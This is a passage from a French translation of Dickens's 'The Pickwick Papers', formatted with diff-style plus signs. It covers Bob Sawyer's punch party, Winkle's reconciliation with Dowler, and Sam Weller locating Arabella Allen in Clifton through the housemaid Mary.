+bière était servie, comme le fit observer M. Sawyer, dans son étain
+natif.
+
+Après le dîner, Bob fit apporter le plus grand mortier de sa boutique,
+et y brassa un mélange fumant de punch au rhum, remuant et amalgamant
+les matériaux avec un pilon, d'une manière fort convenable pour un
+pharmacien. Comme beaucoup de célibataires, il ne possédait qu'un seul
+verre, qui fut assigné par honneur à M. Winkle. Ben Allen fut accommodé
+d'un entonnoir de verre, dont l'extrémité inférieure était garnie d'un
+bouchon; quant à Bob lui-même, il se contenta d'un de ces vases de
+cristal cylindriques, incrustés d'une quantité de caractères
+cabalistiques, et dans lesquels les apothicaires mesurent habituellement
+les drogues liquides qui doivent composer leurs potions. Ces
+préliminaires ajustés, le punch fut goûté et déclaré excellent. On
+convint que Bob Sawyer et Ben Allen seraient libres de remplir leur vase
+deux fois, pour chaque verre de M. Winkle, et l'on commença les
+libations sur ce pied d'égalité avec bonne humeur et de fort bonne
+amitié. On ne chanta point, parce que Bob déclara que cela n'aurait pas
+l'air professionnel; mais, en revanche, on parla et l'on rit, si bien et
+si fort, que les passants à l'autre bout de la rue pouvaient entendre et
+entendirent sans aucun doute le bruit confus qui sortait de l'officine
+du successeur de Nockemorf. Quoi qu'il en soit, la conversation des
+trois amis charmait apparemment les ennuis et aiguisait l'esprit du
+jeune garçon pharmacien, car au lieu de dévouer sa soirée, comme il le
+faisait ordinairement, à écrire son nom sur le comptoir et à l'effacer
+ensuite, il se colla contre la porte vitrée, et de la sorte put écouter
+et voir en même temps ce qui se passait chez son patron.
+
+La gaieté de M. Bob Sawyer se tournait peu à peu en fureur, M. Ben Allen
+retombait dans le sentimental, et le punch était presque entièrement
+disparu, quand le jeune garçon entra rapidement pour annoncer qu'une
+jeune femme venait demander M. Sawyer, successeur de Nockemorf, qu'on
+attendait impatiemment. Ceci termina la fête. Lorsque le garçon eut
+répété pour la vingtième fois son message, M. Bob Sawyer commençant à le
+comprendre, attacha autour de sa tête une serviette mouillée, afin de se
+dégriser; et, y ayant réussi en partie, mit ses lunettes vertes et
+sortit. Ensuite de quoi, M. Winkle voyant qu'il était impossible
+d'engager M. Ben Allen dans une conversation tant soit peu intelligible
+sur le sujet qui l'intéressait le plus, refusa de rester jusqu'au retour
+du chirurgien, et s'en retourna à son hôtel.
+
+L'inquiétude qui l'agitait et les nombreuses méditations qu'avait
+éveillées dans son esprit le nom d'Arabelle, empêchèrent la part qu'il
+avait prise dans le mortier de produire sur lui l'effet qu'on en aurait
+pu attendre dans d'autres circonstances. Ainsi, après avoir pris à la
+buvette de son hôtel un verre d'eau de Seltz et d'eau-de-vie, il entra
+dans le café, plutôt découragé qu'animé par les aventures de la soirée.
+
+Un grand gentleman, vêtu d'une longue redingote, se trouvait seul dans
+le café, assis devant le feu, et tournant le dos à M. Winkle. Comme la
+soirée était assez froide pour la saison, le gentleman rangea sa chaise
+de côté pour laisser approcher le nouvel arrivant, mais quelle fut
+l'émotion de M. Winkle, quand ce mouvement lui découvrit le visage du
+vindicatif et sanguinaire Dowler!
+
+Sa première pensée fut de tirer violemment le cordon de sonnette le plus
+proche. Malheureusement, ce cordon se trouvait derrière la chaise de son
+adversaire. Machinalement le brave jeune homme fit un pas pour en saisir
+la poignée, mais M. Dowler se reculant avec promptitude: «Monsieur
+Winkle, dit-il, soyez calme. Ne me frappez pas, monsieur, je ne le
+supporterais point. Un soufflet? Jamais!»
+
+Tout en parlant ainsi, M Dowler avait l'air beaucoup plus doux que M.
+Winkle ne l'aurait attendu d'une personne aussi emportée.
+
+«Un soufflet, monsieur? balbutia M. Winkle.
+
+--Un soufflet, monsieur, répliqua Dowler. Maîtrisez vos premiers
+mouvements, asseyez-vous, écoutez-moi.
+
+--Monsieur, dit M. Winkle, en tremblant des pieds à la tête, avant que
+je consente à m'asseoir auprès ou en face de vous, sans la présence d'un
+garçon, il me faut d'autres assurances de sécurité. Vous m'avez fait des
+menaces la nuit dernière, monsieur, d'affreuses menaces! Ici M. Winkle
+s'arrêta et devint encore plus pâle.
+
+--C'est la vérité, repartit M. Dowler avec un visage presque aussi blanc
+que celui de son antagoniste. Les circonstances étaient suspectes. Elles
+ont été expliquées. Je respecte votre courage. Vous avez raison. C'est
+l'assurance de l'innocence. Voilà ma main, serrez-la.
+
+--Réellement, monsieur, répondit M. Winkle, hésitant à donner sa main,
+dans la pensée que M. Dowler pourrait bien vouloir le prendre en
+traître, réellement, monsieur, je....
+
+--Je sais ce que vous voulez dire, interrompit l'autre. Vous vous
+sentez offensé. C'est naturel, j'en ferais autant à votre place. J'ai eu
+tort, je vous demande pardon. Soyons amis, pardonnez-moi....» Et en même
+temps Dowler s'empara de la main de M. Winkle, et la secouant avec la
+plus grande véhémence, déclara qu'il le regardait comme un garçon plein
+de courage, et qu'il avait de lui meilleure opinion que jamais.
+
+«Maintenant, poursuivit-il, asseyez-vous, racontez-moi tout. Comment
+m'avez-vous découvert? Quand est-ce que vous êtes parti pour me suivre?
+Soyez franc, dites tout.
+
+--C'est entièrement par hasard, répliqua M. Winkle grandement intrigué
+par la tournure singulière et inattendue de leur entrevue, entièrement.
+
+--J'en suis charmé. Je me suis éveillé ce matin. J'avais oublié mes
+menaces. Le souvenir de votre aventure me fit rire. Je me sentais des
+dispositions amicales: je le dis.
+
+--À qui?
+
+--À mistress Dowler.--«Vous avez fait un voeu, me dit-elle.--C'est vrai,
+répondis-je.--C'était un voeu téméraire.--C'est encore vrai. J'offrirai
+des excuses. Où est-il?»
+
+--Qui? demanda M. Winkle.
+
+--Vous. Je descendis l'escalier, mais je ne vous trouvai pas. Pickwick
+avait l'air sombre. Il secoua la tête, il dit qu'il espérait qu'on ne
+commettrait point de violences. Je compris tout. Vous vous sentiez
+insulté. Vous étiez sorti pour chercher un ami, peut-être des pistolets.
+Un noble courage, me dis-je, je l'admire.»
+
+M. Winkle toussa, et commençant à voir où gîtait le lièvre, prit un air
+d'importance.
+
+«Je laissai une note pour vous, poursuivit Dowler. Je dis que j'étais
+fâché. C'était vrai. Des affaires pressantes m'appelaient ici. Vous
+n'avez pas été satisfait; vous m'avez suivi. Vous avez demandé une
+explication verbale. Vous avez eu raison. Tout est fini maintenant. Mes
+affaires sont terminées. Je m'en retourne demain, venez avec moi.»
+
+À mesure que Dowler avançait dans son récit, la contenance de M. Winkle
+devenait de plus en plus digne. La mystérieuse nature du commencement de
+leur conversation était expliquée; M. Dowler était aussi éloigné de se
+battre, que lui-même. En un mot, ce vantard personnage était un des plus
+admirables poltrons qui eussent jamais existé. Il avait interprété selon
+ses craintes l'absence de M. Winkle, et prenant le même parti que lui
+il c'était décidé à s'absenter, jusqu'à ce que toute irritation fût
+passée.
+
+Quand l'état réel des affaires se fut dévoilé à l'esprit de M. Winkle,
+sa physionomie devint terrible. Il déclara qu'il était parfaitement
+satisfait, mais il le déclara d'un air capable de persuader M. Dowler
+que, s'il n'avait pas été satisfait, il s'en serait suivi une horrible
+destruction. Enfin M. Dowler parut convenablement reconnaissant de sa
+magnanimité, et les deux belligérants se séparèrent, pour la nuit, avec
+mille protestations d'amitié éternelle.
+
+Il était minuit, et depuis vingt minutes environ M. Winkle jouissait des
+douceurs de son premier sommeil, lorsqu'il fut tout à coup réveillé par
+un coup violent frappé à sa porte, et répété immédiatement après, avec
+tant de véhémence, qu'il en tressaillit dans son lit, et demanda avec
+inquiétude qui était là, et ce qu'on lui voulait.
+
+«S'il vous plaît, monsieur, répondit une servante, c'est un jeune homme
+qui désire vous voir, sur-le-champ.
+
+--Un jeune homme! s'écria M. Winkle.
+
+--Il n'y a pas d'erreur, ici, monsieur, répondit une autre voix à
+travers le trou de la serrure; et si ce même intéressant jeune garçon
+n'est pas introduit, sans délai, vous ne vous étonnerez pas que ses
+jambes entrent chez vous avant sa phylosomie.» En achevant ces mots,
+l'étranger ébranla légèrement avec son pied le panneau inférieur de la
+porte, comme pour donner plus de force à son insinuation.
+
+--C'est vous, Sam? demanda M. Winkle, en sautant à bas du lit.
+
+--Pas possible de reconnaître un gentleman sans regardes son visage,»
+répondit la voix d'un ton dogmatique.
+
+M. Winkle n'ayant plus guère de doutes sur l'identité du jeune homme,
+tira les verrous et ouvrit. Aussitôt Sam entra précipitamment, referma
+la porte à double tour, mit gravement la clef dans sa poche, et, après
+avoir examiné M. Winkle des pieds à la tête, lui dit: «Eh bien, vous
+vous conduisez gentiment, monsieur.
+
+--Qu'est-ce que signifie cette conduite? demanda M. Winkle avec
+indignation, sortez sur-le-champ, qu'est-ce que cela signifie?
+
+--Ce que ça signifie! Eh bien, en voilà une sévère, comme dit la jeune
+lady au pâtissier qui lui avait vendu un pâté où il n'y avait que de la
+graisse dedans. Ce que ça signifie! Eh bien, en voilà une bonne!
+
+--Ouvrez cette porte, et quittez cette chambre sur-le-champ.
+
+--Je quitterai cette chambre, monsieur, juste précisément au moment même
+où vous la quitterez, monsieur, répondit Sam d'une voix imposante, et en
+s'asseyant avec gravité. Seulement si je suis obligé de vous emporter
+sur mon dos, je m'en irai un brin avant vous, nécessairement. Mais
+permettez-moi d'espérer que vous ne me réduirez pas à des extrémités,
+monsieur, comme disait le gentleman au colimaçon obstiné, qui ne voulait
+pas sortir de sa coquille, malgré les coups d'épingle qu'on lui
+administrait, et qu'il avait peur d'être obligé de l'écraser entre le
+chambranle et la porte.»
+
+À la fin de ce discours, singulièrement prolixe pour lui, Sam planta ses
+mains sur ses genoux, et regarda M. Winkle en face, avec une expression
+de visage où l'on pouvait lire facilement qu'il n'avait pas du tout
+envie de plaisanter.
+
+«Vous êtes vraiment un jeune homme bien aimable, monsieur, poursuivit-il
+d'un ton de reproche, un aimable jeune homme, d'entortiller notre
+précieux gouverneur dans toutes sortes de fantasmagories, quand il s'est
+déterminé à tout faire pour les principes. Vous êtes pire que Dodson,
+monsieur, et pire que Fogg. Je les regarde comme des anges auprès de
+vous.»
+
+Sam ayant accompagné cette dernière sentence d'une tape emphatique sur
+chaque genou, croisa ses bras d'un air dédaigneux, et se renversa sur sa
+chaise, comme pour attendre la défense du criminel.
+
+«Mon brave Sam, dit M. Winkle, en lui tendant la main, je respecte votre
+attachement pour mon excellent ami, et je suis vraiment très-chagrin
+d'avoir augmenté ses sujets d'inquiétude. Allons, Sam, allons! Et tout
+en parlant, ses dents claquaient de froid, car il était resté debout,
+dans son costume de nuit, durant toute la leçon de M. Weller.
+
+--C'est heureux, répondit Sam d'un ton bourru, en secouant cependant
+d'une manière respectueuse la main qui lui était offerte; c'est heureux,
+quand on s'amende à la fin. Mais si je puis, je ne le laisserai
+tourmenter par personne, et voilà la chose.
+
+--Certainement, Sam, certainement. Et maintenant allez vous coucher,
+nous parlerons de tout cela demain matin.
+
+--J'en suis bien fâché, monsieur; je ne peux pas m'aller coucher.
+
+--Vous ne pouvez pas vous aller coucher?
+
+--Non, répondit Sam, en secouant la tête, pas possible.
+
+--Vous n'allez pas repartir cette nuit? s'écria M. Winkle, grandement
+surpris.
+
+--Non, monsieur, à moins que vous ne le désiriez absolument, mais je ne
+dois pas quitter cette chambre. Les ordres du gouverneur sont
+péremptoires.
+
+--Allons donc, Sam, allons donc! il faut que je reste ici deux ou trois
+jours, et qui plus est, il faudra que vous restiez aussi, pour m'aider à
+avoir une entrevue avec une jeune lady... miss Allen, Sam. Vous vous en
+souvenez? Il faut que je la voie, et je la verrai avant de quitter
+Bristol.»
+
+Mais en réplique à toutes ces instances, Sam continua à secouer la tête
+énergiquement, en répondant avec fermeté: «Pas possible, pas possible!»
+
+Cependant, après beaucoup d'arguments et de représentations de la part
+de M. Winkle; après une exposition complète de tout ce qui s'était passé
+dans l'entrevue avec Dowler, le fidèle domestique commença à hésiter. À
+la fin les deux parties en vinrent à un compromis, dont voici les
+principales clauses:
+
+Que Sam se retirerait et laisserait à M. Winkle la libre possession de
+son appartement, à condition qu'il aurait la permission de fermer la
+porte en dehors et d'emporter la clef; pourvu toutefois qu'il ne manquât
+pas d'ouvrir, sur-le-champ, la porte en cas de feu ou d'autre danger
+contingent; que M. Winkle écrirait le lendemain à M. Pickwick une lettre
+qui lui serait portée par Dowler, et dans laquelle il lui demanderait,
+pour Sam et pour lui-même, la permission de rester à Bristol, afin de
+poursuivre le but déjà indiqué; que si la réponse était favorable, les
+susdites parties contractantes demeureraient en conséquence à Bristol;
+que sinon, elles retourneraient à Bath immédiatement; et enfin que M.
+Winkle s'engageait positivement à ne pas chercher à s'échapper, en
+attendant, ni par les fenêtres, ni par la cheminée, ni par tout autre
+moyen évasif. Ce traité ayant été dûment ratifié, Sam ferma la porte et
+s'en alla.
+
+Il était arrivé au bas de l'escalier, quand il s'arrêta court.
+
+«Tiens! dit-il, en tirant la clef de sa poche et en faisant un quart de
+conversion, j'avais entièrement oublié le terrassement. Le gouverneur me
+l'avait pourtant bien recommandé.... Bah! c'est égal, poursuivit-il en
+remettant la clef dans sa poche, ça peut toujours se faire demain matin,
+comme aujourd'hui.»
+
+Apparemment consolé par cette réflexion, Sam descendit le reste de
+l'escalier, sans autre retour de conscience, et fut bientôt enseveli
+dans un profond sommeil, ainsi que les autres habitants de la maison.
+
+
+
+
+CHAPITRE X.
+
+Sam Weller, honoré d'une mission d'amour, s'occupe de l'exécuter. On
+verra plus loin avec quel succès.
+
+
+Durant toute la journée subséquente, Sam tint ses yeux constamment fixés
+sur M. Winkle, déterminé à ne point le perdre de vue avant d'avoir reçu
+de nouvelles instructions. Quelque désagréable que fût pour le
+prisonnier cette grande vigilance, il pensa qu'il valait mieux la
+supporter que de s'exposer à être emporté de vive force; car le fidèle
+serviteur lui avait plus d'une fois fait entendre que le strict
+sentiment de ses devoirs le forcerait à adopter cette ligne de conduite.
+Il est même probable que Sam aurait fini par assoupir tous ses
+scrupules, en ramenant à Bath M. Winkle, pieds et poings liés, si la
+prompte attention donnée par M. Pickwick au billet remis par Dowler,
+n'avait point rendu inutile, cette manière de procéder. En un mot, à
+huit heures du soir, M. Pickwick, lui-même entra dans le café de l'hôtel
+du Buisson, et avec un sourire dit à Sam enchanté, qu'il s'était
+très-bien comporté et n'avait pas besoin de monter la garde davantage.
+
+«J'ai pensé, continua M. Pickwick, en s'adressant à M. Winkle, pendant
+que Sam le débarrassait de sa redingote et de son cache-nez, j'ai pensé
+que je ferais mieux de venir moi-même, m'assurer que vos vues sur cette
+jeune personne sont honorables et sérieuses, avant de consentir à ce que
+Sam soit employé dans cette affaire.
+
+--Tout à fait honorables et sérieuses, répliqua M. Winkle avec grande
+énergie, je vous l'assure du fond de mon coeur, de toute mon âme.
+
+--Rappelez-vous, reprit M. Pickwick, avec un regard humide,
+rappelez-vous que nous l'avons rencontrée chez notre excellent ami
+Wardle. Ce serait bien mal reconnaître son hospitalité, que de traiter
+avec légèreté les affections de sa jeune amie. Je ne le permettrais pas,
+monsieur; je ne le permettrais pas.
+
+--Je n'ai certainement pas cette idée-là, s'écria chaleureusement M.
+Winkle. J'ai réfléchi pendant longtemps, et je sens que mon bonheur est
+tout entier en elle.
+
+--Voilà ce que j'appelle mettre tous ses oeufs dans le même panier,»
+interrompit Sam avec un agréable sourire.
+
+M. Winkle prit un air sérieux à cette observation, et M. Pickwick irrité
+engagea son serviteur à ne pas badiner avec un des meilleurs sentiments
+de notre nature.
+
+«Certainement, monsieur, répondit Sam, mais il y en a tant de ces
+meilleurs-là, que je ne m'y reconnais jamais, quand on m'en parle.»
+
+Cet incident terminé, M. Winkle raconta ce qui s'était passé entre lui
+et M. Ben Allen, relativement à Arabelle. Il dit que son but actuel
+était d'avoir une entrevue avec la jeune personne, et de lui faire un
+aveu formel de sa passion. Enfin il déclara que le lieu de sa détention
+lui paraissait être quelque part aux environs des Dunes, ce qui semblait
+résulter de certaines insinuations obscures dudit Ben Allen; mais
+c'était tout ce qu'il avait pu apprendre ou soupçonner.
+
+Malgré l'inanité de ces renseignements il fut décidé que Sam partirait
+le lendemain, pour une expédition de découverte. Il fut convenu aussi
+que M. Pickwick et M. Winkle, qui avaient moins de confiance dans leur
+habileté, se promèneraient pendant ce temps dans la ville et entreraient
+_par hasard_, chez M. Bob Sawyer, dans l'espérance d'apprendre quelque
+chose sur la jeune lady.
+
+En conséquence, Sam se mit en quête le lendemain matin, sans être
+aucunement découragé par les difficultés qui l'attendaient. Il marcha de
+rue en rue, nous allions presque dire de coteau en coteau, mais c'est
+toute montée jusqu'à Clifton. Durant tout ce temps il ne vit rien, il ne
+rencontra personne qui pût jeter la moindre lumière sur son entreprise.
+Il eut de nombreux colloques avec des grooms qui faisaient prendre l'air
+à des chevaux sur la route, avec des nourrices qui faisaient prendre
+l'air à des enfants sur le pas de la porte: mais il ne put rien tirer ni
+des uns ni des autres qui eût le rapport le plus éloigné avec l'objet de
+son habile enquête. Il y avait dans force maisons, force jeunes ladies,
+dont le plus grand nombre étaient violemment soupçonnées par les
+domestiques mâles ou femelles d'être profondément attachées à
+quelqu'un, ou parfaitement disposées à s'attacher au premier venu, si
+l'occasion s'en présentait; mais comme aucune de ces jeunes ladies
+n'était miss Arabelle Allen, ces renseignements laissaient Sam
+précisément aussi instruit qu'il l'était auparavant.
+
+Il poursuivit sa route à travers les Dunes, en luttant contre un vent
+violent, et, chemin faisant, il se demandait si, dans ce pays, il était
+toujours nécessaire de tenir son chapeau des deux mains. Enfin il arriva
+dans un endroit ombragé, où se trouvaient répandues plusieurs petites
+villas, d'une apparence tranquille et retirée. Au fond d'une longue
+impasse, devant une porte d'écurie, un groom, en veste du matin,
+s'occupait à flâner, en société d'une pelle et d'une brouette; moyennant
+quoi, il se persuadait apparemment à lui-même qu'il faisait quelque
+chose d'utile. Nous ferons remarquer, en passant, que nous avons
+rarement vu un groom auprès d'une écurie, qui, dans ses moments de
+laisser aller, ne fût pas plus ou moins victime de cette singulière
+illusion.
+
+Sam pensa qu'il pourrait parler avec ce groom, aussi bien qu'avec tout
+autre, et cela d'autant plus, qu'il était fatigué de marcher, et qu'il y
+avait une bonne grosse pierre, juste en face de la porte. Il se dandina
+donc jusqu'au fond de la ruelle, et, s'asseyant sur la pierre, ouvrit la
+conversation avec l'admirable aisance qui le caractérisait.
+
+«Bonsoir, vieux, dit-il.
+
+--Vous voulez dire bonjour? répliqua le groom, en jetant à Sam un regard
+rechigné.
+
+--Vous avez raison, vieux, je voulais dire bonjour. Comment vous va?
+
+--Eh! je ne me sens guère mieux, depuis que vous êtes là.
+
+--C'est drôle, vous paraissez pourtant de bien bonne humeur, vous avez
+la mine si guillerette que ça réjouit le coeur de vous voir.»
+
+À cette plaisanterie, le groom rechigné parut plus rechigné encore, mais
+non pas suffisamment pour produire quelque impression sur Sam. Celui-ci
+lui demanda immédiatement, et avec un air de grand intérêt, si le nom de
+son maître n'était pas un certain M. Walker.
+
+«Non, répondit le groom.
+
+--Ni Brown, je suppose.
+
+--Non.
+
+--Ni Wilson.
+
+--Non.
+
+--Eh! bien alors, je me suis trompé et il n'a pas l'honneur de ma
+connaissance, comme je me l'étais d'abord figuré.»
+
+Cependant le groom, ayant rentré sa brouette, s'apprêtait à fermer la
+porte.
+
+«Ne restez pas à l'air pour moi, lui cria Sam. Où il y a de la gêne, il
+n'y a pas de plaisir. Je vous excuserai, mon vieux.
+
+--Je vous casserais bien la tête pour un liard, dit le groom rechigné en
+fermant une moitié de la porte.
+
+--Peux pas la céder pour si peu, rétorqua Sam, ça vaudrait au moins tous
+vos gages jusqu'à la fin de vos jours, et encore ça serait trop bon
+marché. Mes compliments chez vous. Dites qu'on ne m'attende pas pour
+dîner, et qu'on ne mette rien de côté pour moi, parce que ce serait
+froid avant que je revienne.»
+
+En réponse à ces compliments, le groom dont la bile s'échauffait,
+grommela un désir indistinct d'endommager le crâne de quelqu'un.
+Néanmoins il disparut sans exécuter sa menace, poussant la porte
+derrière lui avec colère et sans faire attention à la tendre requête de
+M. Weller, qui le suppliait de lui laisser une mèche de ses cheveux.
+
+Sam était resté assis sur la pierre et continuait de méditer sur ce
+qu'il avait à faire. Déjà il avait arrangé dans son esprit un plan, qui
+consistait à frapper à toutes les portes, dans un rayon de cinq milles
+autour de Bristol, les mettant l'une dans l'autre à cent cinquante ou
+deux cents par jour, et comptant de cette manière arriver à découvrir
+miss Arabelle Allen dans un temps donné, lorsque tout à coup le hasard
+jeta entre ses mains, ce qu'il aurait pu chercher pendant toute une
+année, sans le rencontrer.
+
+Dans l'impasse où s'était installé Sam, ouvraient trois ou quatre
+grilles appartenant à autant de maisons, qui, quoique détachées les unes
+des autres, n'étaient cependant séparées que par leur jardin. Comme
+ceux-ci étaient grands et bien plantés, non-seulement les maisons se
+trouvaient écartées, mais la plupart étaient cachées par les arbres. Sam
+était assis les yeux fixés sur la porte voisine de celle où avait
+disparu le groom rechigné; il retournait profondément dans son esprit
+les difficultés de sa présente entreprise, lorsqu'il vit la porte qu'il
+regardait machinalement, s'ouvrir et laisser passer une servante qui
+venait secouer dans la ruelle des descentes de lit.
+
+M. Weller était si préoccupé de ses pensées, que très-probablement il
+se serait contenté de lever la tête et de remarquer que la jeune
+servante avait l'air très-gentille, si ses sentiments de galanterie
+n'avaient pas été fortement remués, en voyant qu'il ne se trouvait là
+personne pour aider la pauvrette, et que les tapis paraissaient bien
+pesants pour ses mains délicates. Sam était un gentleman fort galant à
+sa manière. Aussitôt qu'il eut remarqué cette circonstance, il quitta
+brusquement sa pierre, et s'avançant vers la jeune fille: «Ma chère,
+dit-il d'un ton respectueux, vous gâterez vos jolies proportions, si
+vous secouez ces tapis là toute seule. Laissez-moi vous aider.»
+
+La jeune bonne, qui avait modestement affecté de ne pas savoir qu'un
+gentleman était si prêt d'elle, se retourna au discours de Sam, dans
+l'intention (comme elle le dit plus tard elle-même) de refuser l'offre
+d'un étranger, quand, au lieu de répondre, elle tressaillit, recula et
+poussa un léger cri, qu'elle s'efforça vainement de retenir. Sam n'était
+guère moins bouleversé: car dans la physionomie de la servante, à la
+jolie tournure, il avait reconnu les traits de sa bien-aimée, la
+gentille bonne de M. Nupkins.
+
+«Ah! Mary, ma chère!
+
+--Seigneur! M. Weller! comme vous effrayez les gens!»
+
+Sam ne fit pas de réponse verbale à cette plainte, et nous ne pouvons
+même pas dire précisément quelle réponse il fit. Seulement nous savons
+qu'après un court silence, Mary s'écria: «Finissez donc, M. Weller!» et
+que le chapeau de Sam était tombé quelques instants auparavant, d'après
+quoi nous sommes disposés à imaginer qu'un baiser, ou même plusieurs,
+avaient été échangés entre les deux parties.
+
+«Pourquoi donc êtes-vous venu ici? demanda Mary quand la conversation,
+ainsi interrompue, fut reprise.
+
+--Vous voyez bien que je suis venu ici pour vous chercher ma chère,
+répondit Sam, permettant pour une fois à sa passion de l'emporter sur sa
+véracité.
+
+--Et comment avez-vous su que j'étais ici? Qui peut vous avoir dit que
+j'étais entrée chez d'autres maîtres à Ipswich, et qu'ensuite ils
+étaient venus dans ce pays-ci? Qui donc a pu vous dire ça, M. Weller?
+
+--Ah, oui! reprit Sam avec un regard malin, voilà la question: qui peut
+me l'avoir dit?
+
+--Ce n'est pas M. Muzzle, n'est-ce pas?
+
+--Oh! non, répliqua Sam avec un branlement de tête solennel, ce n'est
+pas lui.
+
+--Il faut que ce soit la cuisinière?
+
+--Nécessairement.
+
+--Eh bien! qui est-ce qui se serait douté de ça!
+
+--Pas moi, toujours, dit M. Weller. Mais Mary, ma chère (ici les
+manières de Sam devinrent extrêmement tendres), Mary, ma chère, j'ai sur
+les bras une autre affaire très-pressante. Il y a un ami de mon
+gouverneur.... M. Winkle, vous vous en souvenez?
+
+--Celui qui avait un habit vert? Oh, oui, je m'en souviens.
+
+--Bon! Il est dans un horrible état d'amour, absolument confusionné, et
+tout sens dessus dessous.
+
+--Bah! s'écria Mary.
+
+--Oui, poursuivit Sam; mais ça ne serait rien, si nous pouvions
+seulement trouver la jeune lady.»
+
+Ici, avec beaucoup de digressions sur la beauté personnelle de Mary, et
+sur les indicibles tortures qu'il avait éprouvées pour son propre compte
+depuis qu'il ne l'avait vue, Sam fit un récit fidèle de la situation
+présente de M. Winkle.
+
+«Par exemple, dit Mary, voilà qui est drôle!
+
+--Bien sûr, reprit Sam; et moi, me voilà ici, marchant toujours comme le
+juif errant (un personnage bien connu autrefois sur le _turf_, et que
+vous connaissez peut-être, Mary, ma chère? qui avait fait la gageure de
+marcher aussi longtemps que le temps et qui ne dort jamais), pour
+chercher cette miss Arabelle Allen.
+
+--Miss qui? demanda Mary avec grand étonnement.
+
+--Miss Arabelle Allen.
+
+--Bonté du ciel! s'écria Mary en montrant la porte que le groom rechigné
+avait fermée après lui. Elle est là, dans cette maison. Voilà six
+semaines qu'elle y reste. Leur femme de chambre m'a raconté tout cela
+devant la buanderie un matin que toute la famille dormait encore.
+
+--Quoi! la porte à côté de vous?
+
+--Précisément.»
+
+Sam se sentit tellement étourdi en apprenant cette nouvelle, qu'il se
+trouva obligé de prendre la taille de la jolie bonne pour se soutenir,
+et que plusieurs petits témoignages d'amour s'échangèrent entre eux,
+avant qu'il fût suffisamment remis pour retourner au sujet de ses
+recherches.
+
+«Eh bien! reprit-il à la fin, si ça n'enfonce pas les combats de coq,
+rien ne les enfoncera jamais, comme dit le lord maire quand le premier
+secrétaire d'état proposa la santé de madame la mairesse après dîner.
+Juste la porte après! Moi, qui ai reçu un message pour elle, et qui ai
+déjà passé toute une journée, sans trouver moyen de le lui remettre!
+
+--Ah! dit Mary, vous ne pouvez pas le lui donner maintenant. Elle ne se
+promène dans le jardin que le soir, et seulement pendant quelques
+minutes. Elle ne sort jamais sans la vieille lady.
+
+Sam rumina durant quelques instants, et à la fin s'arrêta au plan
+d'opérations que voici: il résolut de revenir à la brune, époque à
+laquelle Arabelle faisait invariablement sa promenade, étant admis par
+Mary dans le jardin de sa maison, il trouverait moyen d'escalader le
+mur, au-dessous des branches pendantes d'un énorme poirier qui
+l'empêcherait d'être aperçu de loin, puis, une fois là, il délivrerait
+son message et tâcherait d'obtenir, en faveur de M. Winkle, une entrevue
+pour le lendemain à la même heure. Ayant conclu ces arrangements fort
+rapidement, il aida Mary à secouer ses tapis durant si longtemps
+négligés.
+
+Ce n'est pas une chose aussi innocente qu'on se l'imagine, que de
+secouer ces petits tapis; ou du moins, s'il n'y a pas grand mal à les
+secouer, il est fort dangereux de les plier. Tant qu'on ne fait que
+secouer, tant que les deux parties sont séparées par toute la longueur
+du tapis, c'est un amusement aussi moral qu'il soit possible d'en
+inventer. Mais quand on commence à plier, et quand la distance diminue
+d'une moitié à un quart, puis à un huitième, puis à un seizième, puis à
+un trente-deuxième, si le tapis est assez long, cela devient extrêmement
+périlleux. Nous ne savons pas au juste combien de tapis furent repliés
+dans cette occasion, mais nous pouvons nous permettre d'assurer qu'à
+chaque tapis Sam embrassa la jolie femme de chambre.
+
+Les adieux terminés, M. Weller alla se régaler, avec modération, à la
+taverne la plus voisine. Il ne revint dans l'impasse qu'à la brune, fut
+introduit dans le jardin par Mary, et, ayant reçu d'elle plusieurs
+admonestations concernant la sûreté de ses membres et de son cou, il
+monta dans le poirier et attendit l'arrivée d'Arabelle.
+
+Il attendit si longtemps, sans la voir venir, qu'il commençait à
+craindre de ne rien voir du tout, lorsqu'il entendit sur le sable un
+léger bruit de pas, et, immédiatement après, aperçut Arabelle elle-même,
+qui marchait d'un air pensif dans le jardin. Lorsqu'elle fut arrivée
+presque au-dessous du poirier, Sam, qui désirait lui indiquer doucement
+sa présence, commença à faire diverses rumeurs diaboliques, semblables à
+celles qui seraient sans doute, naturelles à une personne attaquée à la
+fois, dès son enfance, d'une esquinancie, du croup et de la coqueluche.
+
+La jeune lady jeta un regard effrayé vers le lieu d'où partaient ces
+horribles sons, et ses alarmes n'étant nullement diminuées en voyant un
+homme parmi les branches, elle se serait certainement enfuie et aurait
+alarmé la maison, si, fort heureusement, la peur ne l'avait pas privée
+de tous mouvements et ne l'avait pas forcée à s'asseoir sur un banc, qui
+par bonheur se trouvait là.
+
+«La voilà qui s'en va, se disait Sam tout perplexe. Quelle vexation que
+ces jeunes créatures veulent toujours s'évanouir mal à propos! Eh! jeune
+lady.... miss carabin.... Mme Winkle, tranquillisez-vous!»
+
+Était-ce le nom magique de M. Winkle? ou la fraîcheur de l'air? ou
+quelque souvenir de la voix de Sam, qui ranima Arabelle? cela est peu
+important à savoir. Elle releva la tête et demanda d'une voix
+languissante:
+
+«Qui est là? que me voulez-vous?
+
+--Chut! répondit Sam en se hissant sur le mur et en s'y blottissant dans
+le moindre espace possible; ça n'est que moi, miss, ça n'est que moi.
+
+--Le domestique de M. Pickwick? s'écria Arabelle avec vivacité.
+
+--Lui-même, miss. Voilà M. Winkle qu'est tout à fait estomaqué de
+désespoir.
+
+--Ah! fit Arabelle en s'approchant plus près du mur.
+
+--Hélas! oui, poursuivit Sam. Nous avons cru qu'il faudrait lui mettre
+la camisole de force la nuit dernière. Il n'a fait que rêver toute la
+journée, et il jure que, s'il ne vous voit pas demain soir, il veut
+être.... il veut qu'il lui arrive quelque chose de désagréable!
+
+--Oh non! non, M. Weller! s'écria Arabelle en joignant les mains.
+
+--C'est là ce qu'il dit, miss, répliqua Sam froidement. C'est un homme
+d'honneur, miss, et, dans mon opinion, il le fera comme il dit. Il a
+tout appris du vilain magot en lunettes.
+
+--Mon frère! s'écria Arabelle à qui la description de Sam rappelait des
+souvenirs de famille.
+
+--Je ne sais pas trop lequel est votre frère, miss. Est-ce le plus
+malpropre des deux?
+
+--Oui, oui, M. Weller! Continuez, dépêchez-vous, je vous prie.
+
+--Eh bien! miss, il a tout appris par lui, et c'est l'opinion du
+gouverneur que, si vous ne le voyez pas très-promptement, le carabin
+dont nous venons de parler recevra assez de plomb dans la tête, pour la
+détériorer, si on veut jamais la conserver dans de l'esprit de vin.
+
+--Oh! ciel! que puis-je faire pour prévenir ces épouvantables querelles?
+
+--C'est la supposition d'un attachement antérieur qui est la cause de
